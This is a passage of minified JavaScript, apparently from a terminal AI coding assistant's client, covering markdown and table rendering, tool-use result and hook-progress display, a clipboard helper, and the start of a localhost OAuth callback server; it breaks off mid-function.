E5A=k(()=>{S2();aZ1();t9();NT();$8();Z1();z7();Qy7=U.object({status:U.literal("sub_agent_entered"),description:U.string(),message:U.string()})});function py7(A,K,q,Y,z=!1){if(!q||Object.keys(q).length===0)return;let w=0;for(let H of px){let J=q[H];if(!J||J.length===0)continue;let O=H;if(z&&H==="Stop")O="SubagentStop",h(`Converting Stop hook to SubagentStop for ${Y} (subagents trigger SubagentStop)`);for(let X of J){let $=X.matcher??"",_=X.hooks;if(!_||_.length===0)continue;for(let G of _)c_1(A,K,O,$,G),w++}}if(w>0)h(`Registered ${w} frontmatter hook(s) from ${Y} for session ${K}`)}var dy7=k(()=>{j$A();yp();Z1()});var PDA=k(()=>{e6();q6();l6();b1();b1()});var uY,cy7="✻";var hf=k(()=>{z3();uY=m6.platform==="darwin"?"⏺":"●"});function GT6(A,K){if(!CT())return A;let q=K??A,Y=O1.blue(q);return`${ly7}${A}${iy7}${Y}${ly7}${iy7}`}var ly7="\x1B]8;;",iy7="\x07";var ZT6=k(()=>{u5();Pr()});import{EOL as Jj}from"os";function ry7(){if(ny7)return;ny7=!0,sY.use({tokenizer:{del(){return}}})}function DW(A,K,q=0,Y=null,z=null,w=!1){switch(A.type){case"blockquote":return O1.dim.italic((A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join(""));case"code":{if(w)return A.text+Jj;let H="plaintext";if(A.lang)if(sZ1.supportsLanguage(A.lang))H=A.lang;else h(`Language not supported while highlighting code, falling back to plaintext: ${A.lang}`);return sZ1.highlight(A.text,{language:H})+Jj}case"codespan":return h8("permission",K)(A.text);case"em":return O1.italic((A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join(""));case"strong":return O1.bold((A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join(""));case"heading":switch(A.depth){case 1:return O1.bold.italic.underline((A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join(""))+Jj+Jj;case 2:return O1.bold((A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join(""))+Jj+Jj;default:return O1.bold((A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join(""))+Jj+Jj}case"hr":return"---";case"image":return A.href;case"link":{if(A.href.startsWith("mailto:"))return A.href.replace(/^mailto:/,"");return GT6(A.href)}case"list":return A.items.map((H,J)=>DW(H,K,q,A.ordered?A.start+J:null,A,w)).join("");case"list_item":return(A.tokens??[]).map((H)=>`${" ".repeat(q)}${DW(H,K,q+1,Y,A,w)}`).join("");case"paragraph":return(A.tokens??[]).map((H)=>DW(H,K,0,null,null,w)).join("")+Jj;case"space":return Jj;case"br":return Jj;case"text":if(z?.type==="list_item")return`${Y===null?"-":joY(q,Y)+"."} ${A.tokens?A.tokens.map((H)=>DW(H,K,q,Y,A,w)).join(""):A.text}${Jj}`;else return A.text;case"table":{let J=function($){return AH($?.map((_)=>DW(_,K,0,null,null,w)).join("")??"")},H=A,O=H.header.map(($,_)=>{let G=j7(J($.tokens));for(let Z of H.rows){let W=j7(J(Z[_]?.tokens));G=Math.max(G,W)}return Math.max(G,3)}),X="| ";return H.header.forEach(($,_)=>{let G=$.tokens?.map((M)=>DW(M,K,0,null,null,w)).join("")??"",Z=J($.tokens),W=O[_],D=H.align?.[_],j;if(D==="center"){let M=W-j7(Z),P=Math.floor(M/2),f=M-P;j=" ".repeat(P)+G+" ".repeat(f)}else if(D==="right"){let M=W-j7(Z);j=" ".repeat(M)+G}else j=G+" ".repeat(W-j7(Z));X+=j+" | "}),X=X.trimEnd()+Jj,X+="|",O.forEach(($)=>{let _="-".repeat($+2);X+=_+"|"}),X+=Jj,H.rows.forEach(($)=>{X+="| ",$.forEach((_,G)=>{let Z=_.tokens?.map((P)=>DW(P,K,0,null,null,w)).join("")??"",W=J(_.tokens),D=O[G],j=H.align?.[G],M;if(j==="center"){let P=D-j7(W),f=Math.floor(P/2),N=P-f;M=" ".repeat(f)+Z+" ".repeat(N)}else if(j==="right"){let P=D-j7(W);M=" ".repeat(P)+Z}else M=Z+" ".repeat(D-j7(W));X+=M+" | "}),X=X.trimEnd()+Jj}),X+Jj}case"escape":return A.text;case"def":case"del":case"html":return""}return""}function joY(A,K){switch(A){case 0:case 1:return K.toString();case 2:return WoY[K-1];case 3:return DoY[K-1];default:return K.toString()}}var sZ1,ny7=!1,WoY,DoY;var WT6=k(()=>{A21();$8();u5();Z1();bk();mA();ZT6();XG();sZ1=o(jZ1(),1);WoY=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","aa","ab","ac","ad","ae","af","ag","ah","ai","aj","ak","al","am","an","ao","ap","aq","ar","as","at","au","av","aw","ax","ay","az"],DoY=["i","ii","iii","iv","v","vi","vii","viii","ix","x","xi","xii","xiii","xiv","xv","xvi","xvii","xviii","xix","xx","xxi","xxii","xxiii","xxiv","xxv","xxvi","xxvii","xxviii","xxix","xxx","xxxi","xxxii","xxxiii","xxxiv","xxxv","xxxvi","xxxvii","xxxviii","xxxix","xl"]});function DT6(A,K){if(K<=0)return[A];let q=A.trimEnd(),z=zr(q,K,{hard:!1,trim:!1,wordWrap:!0}).split(` `).filter((w)=>w.length>0);return z.length>0?z:[""]}function oy7({token:A,syntaxHighlightingDisabled:K=!1,forceWidth:q}){let[Y]=I4(),{columns:z}=f8(),w=q??z;function H(y){return y?.map((B)=>DW(B,Y,0,null,null,K)).join("")??""}function J(y){return AH(H(y))}function O(y){let b=J(y).split(/\s+/).filter((F)=>F.length>0);if(b.length===0)return tZ1;return Math.max(...b.map((F)=>j7(F)),tZ1)}function X(y){return Math.max(j7(J(y)),tZ1)}let $=A.header.map((y,B)=>{let b=O(y.tokens);for(let F of A.rows)b=Math.max(b,O(F[B]?.tokens));return b}),_=A.header.map((y,B)=>{let b=X(y.tokens);for(let F of A.rows)b=Math.max(b,X(F[B]?.tokens));return b}),G=A.header.length,Z=1+G*3,W=Math.max(w-Z,G*tZ1),D=$.reduce((y,B)=>y+B,0),j=_.reduce((y,B)=>y+B,0),P=D+Z>w,f;if(P)f=$;else if(j<=W)f=_;else if(D<=W){let y=W-D,B=_.map((F,Q)=>F-$[Q]),b=B.reduce((F,Q)=>F+Q,0);f=$.map((F,Q)=>{if(b===0)return F;let u=Math.floor(B[Q]/b*y);return F+u})}else f=$;function N(y,B){let b=y.map((d,r)=>{let c=H(d.tokens),YA=f[r];return DT6(c,YA)}),F=Math.max(...b.map((d)=>d.length),1),Q=b.map((d)=>Math.floor((F-d.length)/2)),u=[];for(let d=0;d<F;d++){let r="│";for(let c=0;c<y.length;c++){let YA=b[c],e=Q[c],qA=d-e,HA=qA>=0&&qA<YA.length?YA[qA]:"",_A=f[c],a=B?"center":A.align?.[c]??"left",JA=j7(HA),jA=Math.max(0,_A-JA),MA;if(a==="center"){let hA=Math.floor(jA/2),yA=jA-hA;MA=" ".repeat(hA)+HA+" ".repeat(yA)}else if(a==="right")MA=" ".repeat(jA)+HA;else MA=HA+" ".repeat(jA);r+=" "+MA+" │"}u.push(r)}return u}function T(y){let[B,b,F,Q]={top:["┌","─","┬","┐"],middle:["├","─","┼","┤"],bottom:["└","─","┴","┘"]}[y],u=B;return f.forEach((d,r)=>{u+=b.repeat(d+2),u+=r<f.length-1?F:Q}),u}function C(){let y=[],B=A.header.map((u)=>J(u.tokens)),b=Math.min(w-1,40),F="─".repeat(b),Q=" ";return A.rows.forEach((u,d)=>{if(d>0)y.push(F);u.forEach((r,c)=>{let YA=B[c]||`Column ${c+1}`,qA=H(r.tokens).trimEnd().replace(/\n+/g," ").replace(/\s+/g," ").trim(),HA=w-YA.length-3,_A=w-2-1,a=DT6(qA,Math.max(HA,10));y.push(`${PoY}${YA}:${VoY} ${a[0]||""}`);for(let JA=1;JA<a.length;JA++){let jA=a[JA];if(!jA.trim())continue;if(j7(jA)>_A){let MA=DT6(jA,_A);for(let hA of MA)if(hA.trim())y.push(` ${hA}`)}else y.push(` ${jA}`)}})}),y.join(` `)}if(P)return eZ1.default.createElement(a3,null,C());let R=[];if(R.push(T("top")),R.push(...N(A.header,!0)),R.push(T("middle")),A.rows.forEach((y,B)=>{if(R.push(...N(y,!1)),B<A.rows.length-1)R.push(T("middle"))}),R.push(T("bottom")),Math.max(...R.map((y)=>j7(AH(y))))>w-MoY)return eZ1.default.createElement(a3,null,C());return eZ1.default.createElement(a3,null,R.join(` `))}var eZ1,MoY=2,tZ1=3,PoY="\x1B[1m",VoY="\x1B[22m";var ay7=k(()=>{mA();uK();WT6();XG();bk();J51();eZ1=o($A(),1)});function PO(A){let K=s(4),{children:q}=A,[Y]=I4(),w=KP().syntaxHighlightingDisabled??!1;ry7();let H;if(K[0]!==q||K[1]!==w||K[2]!==Y){let J=sY.lexer(VDA(q)),O=[],X="",$=function(){if(X)O.push(AW1.default.createElement(a3,{key:O.length},X.trim())),X=""};for(let _ of J)if(_.type==="table")$(),O.push(AW1.default.createElement(oy7,{key:O.length,token:_,syntaxHighlightingDisabled:w}));else X=X+DW(_,Y,0,null,null,w);$(),H=AW1.default.createElement(S,{flexDirection:"column"},O),K[0]=q,K[1]=w,K[2]=Y,K[3]=H}else H=K[3];return H}var AW1;var JL=k(()=>{cA();A21();mA();WT6();Ms();$8();ay7();AW1=o($A(),1)});function sy7(){let A=s(1),K;if(A[0]===Symbol.for("react.memo_cache_sentinel"))K=$gA.createElement(k6,{height:1},$gA.createElement(hu,null)),A[0]=K;else K=A[0];return K}var $gA;var ty7=k(()=>{cA();SGA();Eq();$gA=o($A(),1)});function KW1(A){let K=s(3),{plan:q}=A,Y;if(K[0]===Symbol.for("react.memo_cache_sentinel"))Y=XS.createElement(V,{color:"subtle"},"User rejected Claude's plan:"),K[0]=Y;else Y=K[0];let z;if(K[1]!==q)z=XS.createElement(k6,null,XS.createElement(S,{flexDirection:"column"},Y,XS.createElement(S,{borderStyle:"round",borderColor:"planMode",borderDimColor:!0,paddingX:1,overflow:"hidden"},XS.createElement(PO,null,q)))),K[1]=q,K[2]=z;else z=K[2];return z}var XS;var jT6=k(()=>{cA();mA();JL();Eq();XS=o($A(),1)});function ey7(A){let K=s(2),{feedback:q}=A,Y;if(K[0]!==q)Y=_gA.createElement(k6,null,_gA.createElement(V,{color:"subtle"},"Tool use rejected with user message: ",q)),K[0]=q,K[1]=Y;else Y=K[1];return Y}var _gA;var AI7=k(()=>{cA();mA();Eq();_gA=o($A(),1)});function KI7(A){let K=s(18),{progressMessagesForMessage:q,tool:Y,tools:z,param:w,verbose:H}=A;if(typeof w.content==="string"&&w.content.includes(bf)){let O;if(K[0]===Symbol.for("react.memo_cache_sentinel"))O=$S.createElement(k6,{height:1},$S.createElement(hu,null)),K[0]=O;else O=K[0];return O}if(typeof w.content==="string"&&w.content.startsWith(MT6)){let O;if(K[1]!==w.content)O=w.content.substring(MT6.length),K[1]=w.content,K[2]=O;else O=K[2];let X=O,$;if(K[3]!==X)$=$S.createElement(KW1,{plan:X}),K[3]=X,K[4]=$;else $=K[4];return $}if(typeof w.content==="string"&&w.content.startsWith(GgA)){let O;if(K[5]!==w.content)O=w.content.substring(GgA.length),K[5]=w.content,K[6]=O;else O=K[6];let X=O,$;if(K[7]!==X)$=$S.createElement(ey7,{feedback:X}),K[7]=X,K[8]=$;else $=K[8];return $}if(!Y){let O;if(K[9]!==w.content||K[10]!==H)O=$S.createElement(C3,{result:w.content,verbose:H}),K[9]=w.content,K[10]=H,K[11]=O;else O=K[11];return O}let J;if(K[12]!==w.content||K[13]!==q||K[14]!==Y||K[15]!==z||K[16]!==H)J=Y.renderToolUseErrorMessage(w.content,{progressMessagesForMessage:Cr(q),tools:z,verbose:H}),K[12]=w.content,K[13]=q,K[14]=Y,K[15]=z,K[16]=H,K[17]=J;else J=K[17];return J}var $S;var qI7=k(()=>{cA();$8();SGA();Eq();J0();jT6();AI7();$S=o($A(),1)});function YI7(A){let K=s(13),{input:q,progressMessagesForMessage:Y,style:z,tool:w,tools:H,messages:J,verbose:O}=A,{columns:X}=f8(),[$]=I4();if(!w){let W;if(K[0]===Symbol.for("react.memo_cache_sentinel"))W=ZgA.createElement(u9,null),K[0]=W;else W=K[0];return W}let _=w.inputSchema,G,Z;if(K[1]!==X||K[2]!==q||K[3]!==J||K[4]!==Y||K[5]!==z||K[6]!==$||K[7]!==w||K[8]!==H||K[9]!==O){Z=Symbol.for("react.early_return_sentinel");A:{let W=_.safeParse(q);if(!W.success){let D;if(K[12]===Symbol.for("react.memo_cache_sentinel"))D=ZgA.createElement(u9,null),K[12]=D;else D=K[12];Z=D;break A}G=w.renderToolUseRejectedMessage(W.data,{columns:X,messages:J,tools:H,verbose:O,progressMessagesForMessage:Cr(Y),style:z,theme:$})}K[1]=X,K[2]=q,K[3]=J,K[4]=Y,K[5]=z,K[6]=$,K[7]=w,K[8]=H,K[9]=O,K[10]=G,K[11]=Z}else G=K[10],Z=K[11];if(Z!==Symbol.for("react.early_return_sentinel"))return Z;return G}var ZgA;var zI7=k(()=>{cA();__();uK();mA();ZgA=o($A(),1)});function qW1(A){let K=s(25),{hookEvent:q,messages:Y,toolUseID:z,verbose:w}=A,H;if(K[0]!==q||K[1]!==Y||K[2]!==z)H=wI7(Y,z,q),K[0]=q,K[1]=Y,K[2]=z,K[3]=H;else H=K[3];let J=H,O;if(K[4]!==q||K[5]!==Y||K[6]!==z)O=HI7(Y,z,q),K[4]=q,K[5]=Y,K[6]=z,K[7]=O;else O=K[7];let X=O;if(X===J)return null;let $;if(K[8]===Symbol.for("react.memo_cache_sentinel"))$=XX.createElement(V,{dimColor:!0},"Running "),K[8]=$;else $=K[8];let _;if(K[9]!==q)_=XX.createElement(V,{dimColor:!0,bold:!0},q),K[9]=q,K[10]=_;else _=K[10];let G;if(K[11]!==J||K[12]!==X)G=J===1?XX.createElement(V,{dimColor:!0}," hook…"):XX.createElement(V,{dimColor:!0}," ","hooks… (",X,"/",J," done)"),K[11]=J,K[12]=X,K[13]=G;else G=K[13];let Z;if(K[14]!==_||K[15]!==G)Z=XX.createElement(S,{flexDirection:"row"},$,_,G),K[14]=_,K[15]=G,K[16]=Z;else Z=K[16];let W;if(K[17]!==q||K[18]!==Y||K[19]!==z||K[20]!==w)W=w&&XX.createElement(foY,{messages:Y,toolUseID:z,hookEvent:q}),K[17]=q,K[18]=Y,K[19]=z,K[20]=w,K[21]=W;else W=K[21];let D;if(K[22]!==Z||K[23]!==W)D=XX.createElement(k6,null,XX.createElement(S,{flexDirection:"column"},Z,W)),K[22]=Z,K[23]=W,K[24]=D;else D=K[24];return D}function foY(A){let K=s(15),{messages:q,toolUseID:Y,hookEvent:z}=A,w,H,J,O;if(K[0]!==z||K[1]!==q||K[2]!==Y){let $;if(K[7]!==z||K[8]!==Y)$=(G)=>G.type==="progress"&&G.data.type==="hook_progress"&&G.data.hookEvent===z&&G.parentToolUseID===Y,K[7]=z,K[8]=Y,K[9]=$;else $=K[9];let _=q.filter($);w=S,H="column",J=2,O=_.map(NoY),K[0]=z,K[1]=q,K[2]=Y,K[3]=w,K[4]=H,K[5]=J,K[6]=O}else w=K[3],H=K[4],J=K[5],O=K[6];let X;if(K[10]!==w||K[11]!==H||K[12]!==J||K[13]!==O)X=XX.createElement(w,{flexDirection:H,marginLeft:J},O),K[10]=w,K[11]=H,K[12]=J,K[13]=O,K[14]=X;else X=K[14];return X}function NoY(A){return XX.createElement(V,{dimColor:!0,key:A.uuid},"· ",A.data.hookName,": ",A.data.command)}var XX;var PT6=k(()=>{cA();Eq();mA();$8();XX=o($A(),1)});var JI7,OI7,k5A;var YW1=k(()=>{JI7=o($A(),1),OI7=o(_F(),1);k5A=class k5A extends JI7.Component{constructor(A){super(A);this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(A){try{OI7.captureException(A)}catch{}}render(){if(this.state.hasError)return null;return this.props.children}}});function $I7(A){return}function _I7(A){return}function GI7(A){return}function ZI7(){for(let A of VT6)A()}function WI7(A){return}function zW1(A){return}function ToY(A){return VT6.add(A),()=>VT6.delete(A)}function DI7(A){return XI7.useSyncExternalStore(ToY,()=>NT6.has(A))}var XI7,fT6,NT6,VT6;var wW1=k(()=>{XI7=o($A(),1),fT6=new Map,NT6=new Set,VT6=new Set});function jI7(A){let K=s(31),{message:q,messages:Y,toolUseID:z,progressMessagesForMessage:w,style:H,tool:J,tools:O,verbose:X,width:$}=A,[_]=I4();if(!q.toolUseResult||!J)return null;let G;if(K[0]!==q.toolUseResult||K[1]!==w||K[2]!==H||K[3]!==_||K[4]!==J||K[5]!==O||K[6]!==X)G=J.renderToolResultMessage(q.toolUseResult,Cr(w),{style:H,theme:_,tools:O,verbose:X}),K[0]=q.toolUseResult,K[1]=w,K[2]=H,K[3]=_,K[4]=J,K[5]=O,K[6]=X,K[7]=G;else G=K[7];let Z=G;if(Z===null)return null;let W;if(K[8]!==z)W=$I7(z),K[8]=z,K[9]=W;else W=K[9];let D=W,j;if(K[10]!==z)j=_I7(z),K[10]=z,K[11]=j;else j=K[11];let M=j,P;if(K[12]!==z)P=GI7(z),K[12]=z,K[13]=P;else P=K[13];let f=P,N;if(K[14]!==M||K[15]!==D)N=!1,K[14]=M,K[15]=D,K[16]=N;else N=K[16];let T;if(K[17]!==f)T=!1,K[17]=f,K[18]=T;else T=K[18];let C;if(K[19]!==Z||K[20]!==N||K[21]!==T||K[22]!==$)C=lp.createElement(S,{flexDirection:"column",width:$},Z,N,T),K[19]=Z,K[20]=N,K[21]=T,K[22]=$,K[23]=C;else C=K[23];let R;if(K[24]!==Y||K[25]!==z||K[26]!==X)R=lp.createElement(k5A,null,lp.createElement(qW1,{hookEvent:"PostToolUse",messages:Y,toolUseID:z,verbose:X})),K[24]=Y,K[25]=z,K[26]=X,K[27]=R;else R=K[27];let x;if(K[28]!==C||K[29]!==R)x=lp.createElement(S,{flexDirection:"column"},C,R),K[28]=C,K[29]=R,K[30]=x;else x=K[30];return x}var lp;var MI7=k(()=>{cA();mA();PT6();YW1();wW1();lp=o($A(),1)});function voY(A,K){let q=null;for(let Y of K){if(Y.type!=="assistant"||!Array.isArray(Y.message.content))continue;for(let z of Y.message.content)if(z.type==="tool_use"&&z.id===A)q=z}return q}function PI7(A,K,q){let Y=s(11),z;A:{let w;if(Y[0]!==q||Y[1]!==A)w=voY(A,q),Y[0]=q,Y[1]=A,Y[2]=w;else w=Y[2];let H=w;if(!H){z=null;break A}let J;if(Y[3]!==H||Y[4]!==K){let $;if(Y[6]!==H)$=(_)=>_.name===H.name,Y[6]=H,Y[7]=$;else $=Y[7];J=K.find($),Y[3]=H,Y[4]=K,Y[5]=J}else J=Y[5];let O=J;if(!O){z=null;break A}let X;if(Y[8]!==O||Y[9]!==H)X={tool:O,toolUse:H},Y[8]=O,Y[9]=H,Y[10]=X;else X=Y[10];z=X}return z}var VI7=k(()=>{cA()});function fI7(A){let K=s(25),{param:q,message:Y,messages:z,progressMessagesForMessage:w,style:H,tools:J,verbose:O,width:X}=A,$=PI7(q.tool_use_id,J,z);if(!$)return null;if(q.content===fDA){let G;if(K[0]===Symbol.for("react.memo_cache_sentinel"))G=ip.createElement(sy7,null),K[0]=G;else G=K[0];return G}if(q.content===C5A||q.content===bf){let G=$.toolUse.input,Z;if(K[1]!==z||K[2]!==w||K[3]!==H||K[4]!==G||K[5]!==$.tool||K[6]!==J||K[7]!==O)Z=ip.createElement(YI7,{input:G,progressMessagesForMessage:w,tool:$.tool,tools:J,messages:z,style:H,verbose:O}),K[1]=z,K[2]=w,K[3]=H,K[4]=G,K[5]=$.tool,K[6]=J,K[7]=O,K[8]=Z;else Z=K[8];return Z}if(q.is_error){let G;if(K[9]!==q||K[10]!==w||K[11]!==$.tool||K[12]!==J||K[13]!==O)G=ip.createElement(KI7,{progressMessagesForMessage:w,tool:$.tool,tools:J,param:q,verbose:O}),K[9]=q,K[10]=w,K[11]=$.tool,K[12]=J,K[13]=O,K[14]=G;else G=K[14];return G}let _;if(K[15]!==Y||K[16]!==z||K[17]!==w||K[18]!==H||K[19]!==$.tool||K[20]!==$.toolUse.id||K[21]!==J||K[22]!==O||K[23]!==X)_=ip.createElement(jI7,{message:Y,messages:z,toolUseID:$.toolUse.id,progressMessagesForMessage:w,style:H,tool:$.tool,tools:J,verbose:O,width:X}),K[15]=Y,K[16]=z,K[17]=w,K[18]=H,K[19]=$.tool,K[20]=$.toolUse.id,K[21]=J,K[22]=O,K[23]=X,K[24]=_;else _=K[24];return _}var ip;var NI7=k(()=>{cA();$8();ty7();qI7();zI7();MI7();VI7();ip=o($A(),1)});function EoY(){let A=new Zr;A.setMaxListeners(100);let K=null,q=!0;return{subscribe(Y){if(A.on("blink",Y),A.listenerCount("blink")===1)K=setInterval(()=>{q=!q,A.emit("blink")},600);return q},unsubscribe(Y){if(A.off("blink",Y),A.listenerCount("blink")===0&&K)clearInterval(K),K=null},getCurrentState(){return q}}}function vI7(A){let K=TI7(),[q,Y]=HW1.useState(K.getCurrentState());return HW1.useEffect(()=>{if(!A)return;let z=TI7(),w=()=>Y(z.getCurrentState()),H=z.subscribe(w);return Y(H),()=>{z.unsubscribe(w)}},[A]),A?q:!0}var HW1,TI7;var EI7=k(()=>{mA();p7();HW1=o($A(),1);TI7=z6(EoY)});function ps(A){let K=s(7),{isError:q,isUnresolved:Y,shouldAnimate:z}=A,[w,H]=C4A(),{isVisible:J}=H,O=vI7(z&&J),X=Y?void 0:q?"error":"success",$=!z||O||q||!Y?uY:" ",_;if(K[0]!==X||K[1]!==Y||K[2]!==$)_=TT6.default.createElement(V,{color:X,dimColor:Y},$),K[0]=X,K[1]=Y,K[2]=$,K[3]=_;else _=K[3];let G;if(K[4]!==w||K[5]!==_)G=TT6.default.createElement(S,{ref:w,minWidth:2},_),K[4]=w,K[5]=_,K[6]=G;else G=K[6];return G}var TT6;var JW1=k(()=>{cA();mA();hf();EI7();TT6=o($A(),1)});function kI7(A){let K=s(65),{param:q,addMargin:Y,tools:z,commands:w,verbose:H,erroredToolUseIDs:J,inProgressToolUseIDs:O,resolvedToolUseIDs:X,progressMessagesForMessage:$,shouldAnimate:_,shouldShowDot:G,inProgressToolCallCount:Z,messages:W}=A,D=f8(),[j]=I4(),M=LI7(koY),P=DI7(q.id),f=!1;if(!z)return KA(Error(`Tools array is undefined for tool ${q.name}`)),null;let N,T,C,R,x,y,B,b,F,Q,u,d;if(K[0]!==Y||K[1]!==w||K[2]!==J||K[3]!==Z||K[4]!==O||K[5]!==!1||K[6]!==W||K[7]!==q.id||K[8]!==q.input||K[9]!==q.name||K[10]!==M?.toolUseId||K[11]!==$||K[12]!==X||K[13]!==_||K[14]!==G||K[15]!==D||K[16]!==j||K[17]!==z||K[18]!==H){R=Symbol.for("react.early_return_sentinel");A:{let YA;if(K[31]!==q.name)YA=(wA)=>wA.name===q.name,K[31]=q.name,K[32]=YA;else YA=K[32];let e=z.find(YA);if(!e){KA(Error(`Tool ${q.name} not found`)),R=null;break A}let qA;if(K[33]!==q.id||K[34]!==X)qA=X.has(q.id),K[33]=q.id,K[34]=X,K[35]=qA;else qA=K[35];let HA=qA,_A;if(K[36]!==O||K[37]!==HA||K[38]!==q.id)_A=!O.has(q.id)&&!HA,K[36]=O,K[37]=HA,K[38]=q.id,K[39]=_A;else _A=K[39];let a=_A,JA=M?.toolUseId===q.id,jA=e.inputSchema.safeParse(q.input),MA=e.userFacingName(jA.success?jA.data:void 0),hA=e.userFacingNameBackgroundColor?.(jA.success?jA.data:void 0);if(MA===""){R=null;break A}let yA=jA.success?CoY(e,jA.data,{theme:j,verbose:H,commands:w}):null;if(yA===null){R=null;break A}T=S,F="row",Q="space-between",u=Y?1:0,d="100%",N=S,C="column";let AA;if(K[40]!==J||K[41]!==a||K[42]!==HA||K[43]!==q.id||K[44]!==_||K[45]!==G)AA=G&&(a?jW.default.createElement(S,{minWidth:2},jW.default.createElement(V,{dimColor:a},uY)):jW.default.createElement(ps,{shouldAnimate:_,isUnresolved:!HA,isError:J.has(q.id)})),K[40]=J,K[41]=a,K[42]=HA,K[43]=q.id,K[44]=_,K[45]=G,K[46]=AA;else AA=K[46];if(x=jW.default.createElement(S,{flexDirection:"row",flexWrap:"nowrap",minWidth:MA.length+(G?2:0)},AA,jW.default.createElement(S,{flexShrink:0},jW.default.createElement(V,{bold:!0,wrap:"truncate-end",backgroundColor:hA,color:hA?"inverseText":void 0},MA)),yA!==""&&jW.default.createElement(S,{flexWrap:"nowrap"},jW.default.createElement(V,null,"(",yA,")")),jA.success&&e.renderToolUseTag&&e.renderToolUseTag(jA.data)),K[47]!==!1||K[48]!==a||K[49]!==HA)y=!HA&&!a&&!1,K[47]=!1,K[48]=a,K[49]=HA,K[50]=y;else y=K[50];B=!HA&&!a&&(JA?jW.default.createElement(k6,{height:1},jW.default.createElement(V,{dimColor:!0},"Waiting for permission…")):LoY(e,z,W,q.id,$,{verbose:H,inProgressToolCallCount:Z},D)),b=!HA&&a&&RoY(e)}K[0]=Y,K[1]=w,K[2]=J,K[3]=Z,K[4]=O,K[5]=!1,K[6]=W,K[7]=q.id,K[8]=q.input,K[9]=q.name,K[10]=M?.toolUseId,K[11]=$,K[12]=X,K[13]=_,K[14]=G,K[15]=D,K[16]=j,K[17]=z,K[18]=H,K[19]=N,K[20]=T,K[21]=C,K[22]=R,K[23]=x,K[24]=y,K[25]=B,K[26]=b,K[27]=F,K[28]=Q,K[29]=u,K[30]=d}else N=K[19],T=K[20],C=K[21],R=K[22],x=K[23],y=K[24],B=K[25],b=K[26],F=K[27],Q=K[28],u=K[29],d=K[30];if(R!==Symbol.for("react.early_return_sentinel"))return R;let r;if(K[51]!==N||K[52]!==C||K[53]!==x||K[54]!==y||K[55]!==B||K[56]!==b)r=jW.default.createElement(N,{flexDirection:C},x,y,B,b),K[51]=N,K[52]=C,K[53]=x,K[54]=y,K[55]=B,K[56]=b,K[57]=r;else r=K[57];let c;if(K[58]!==T||K[59]!==r||K[60]!==F||K[61]!==Q||K[62]!==u||K[63]!==d)c=jW.default.createElement(T,{flexDirection:F,justifyContent:Q,marginTop:u,width:d},r),K[58]=T,K[59]=r,K[60]=F,K[61]=Q,K[62]=u,K[63]=d,K[64]=c;else c=K[64];return c}function koY(A){return A.pendingWorkerRequest}function CoY(A,K,{theme:q,verbose:Y,commands:z}){try{let w=A.inputSchema.safeParse(K);if(!w.success)return"";return A.renderToolUseMessage(w.data,{theme:q,verbose:Y,commands:z})}catch(w){return KA(Error(`Error rendering tool use message for ${A.name}: ${w}`)),""}}function LoY(A,K,q,Y,z,{verbose:w,inProgressToolCallCount:H},J){let O=z.filter((X)=>X.data.type!=="hook_progress");try{let X=A.renderToolUseProgressMessage(O,{tools:K,verbose:w,terminalSize:J,inProgressToolCallCount:H??1});return jW.default.createElement(jW.default.Fragment,null,jW.default.createElement(k5A,null,jW.default.createElement(qW1,{hookEvent:"PreToolUse",messages:q,toolUseID:Y,verbose:w})),X)}catch(X){return KA(Error(`Error rendering tool use progress message for ${A.name}: ${X}`)),null}}function RoY(A){try{return A.renderToolUseQueuedMessage?.()}catch(K){return KA(Error(`Error rendering tool use queued message for ${A.name}: ${K}`)),null}}var jW;var CI7=k(()=>{cA();mA();C1();JW1();hf();uK();PT6();YW1();A4();Eq();wW1();jW=o($A(),1)});function yoY(){if(q4A()==="sonnet"){let{hasAccess:K}=K4A();if(K)return{alias:"sonnet[1m]",name:"Sonnet 1M",multiplier:5}}return null}function L5A(A){let K=yoY();if(!K)return null;switch(A){case"warning":return`/model ${K.alias} for more context`;case"tip":return`Tip: You have access to ${K.name} with ${K.multiplier}x more context`;default:return null}}var OW1=k(()=>{K7();Iq1()});async function Oj(A){let K=o6(),q=IoY[K];for(let Y of q)try{return await wY(Y,{input:A,shell:!0,reject:!0}),!0}catch(z){KA(Error(`Failed to execute clipboard command "${Y}": ${z}`));continue}return KA(Error(`Failed to copy to clipboard on ${K}`)),!1}function NDA(){let A=o6();return{macos:"Failed to copy to clipboard. Make sure the `pbcopy` command is available on your system and try again.",windows:"Failed to copy to clipboard. Make sure the `clip` command is available on your system and try again.",wsl:"Failed to copy to clipboard. Make sure the `clip.exe` command is available in your WSL environment and try again.",linux:"Failed to copy to clipboard. Make sure `xclip` or `wl-copy` is installed on your system and try again.",unknown:"Failed to copy to clipboard. Make sure `xclip` or `wl-copy` is installed on your system and try again."}[A]}var IoY;var np=k(()=>{rP();C1();B5();IoY={macos:["pbcopy"],linux:["xclip -selection clipboard","wl-copy"],wsl:["clip.exe"],windows:["clip"],unknown:["xclip -selection clipboard","wl-copy"]}});import*as RI7 from"http";class vT6{localServer;port=0;promiseResolver=null;promiseRejecter=null;expectedState=null;pendingResponse=null;callbackPath;constructor(A="/callback"){this.localServer=RI7.createServer(),this.callbackPath=A}async start(A){return new Promise((K,q)=>{this.localServer.once("error",(Y)=>{q(Error(`Failed to start OAuth callback server: ${Y.message}`))}),this.localServer.listen(A??0,"localhost",()=>{let Y=this.localServer.address();this.port=Y.port,K(this.port)})})}getPort(){return this.port}hasPendingResponse(){return this.pendingResponse!==null}async waitForAuthorization(A,K){return new Promise((q,Y)=>{this.promiseResolver=q,this.promiseRejecter=Y,this.expectedState=A,this.startLocalListener(K)})}handleSuccessRedirect(A,K){if(!this.pendingResponse)return;if(K){K(this.pendingResponse,A),this.pendingResponse=null,n("tengu_oauth_automatic_redirect",{custom_handler:!0});return}let q=pQ(A)?E7().CLAUDEAI_SUCCESS_URL:E7().CONSOLE_SUCCESS_URL;this.pendingResponse.writeHead(302,{Location:q}),this.pendingResponse.end(),this.pendingResponse=null,n("tengu_oauth_automatic_redirect",{})}handleErrorRedirect(){if(!this.pendingResponse)return;let 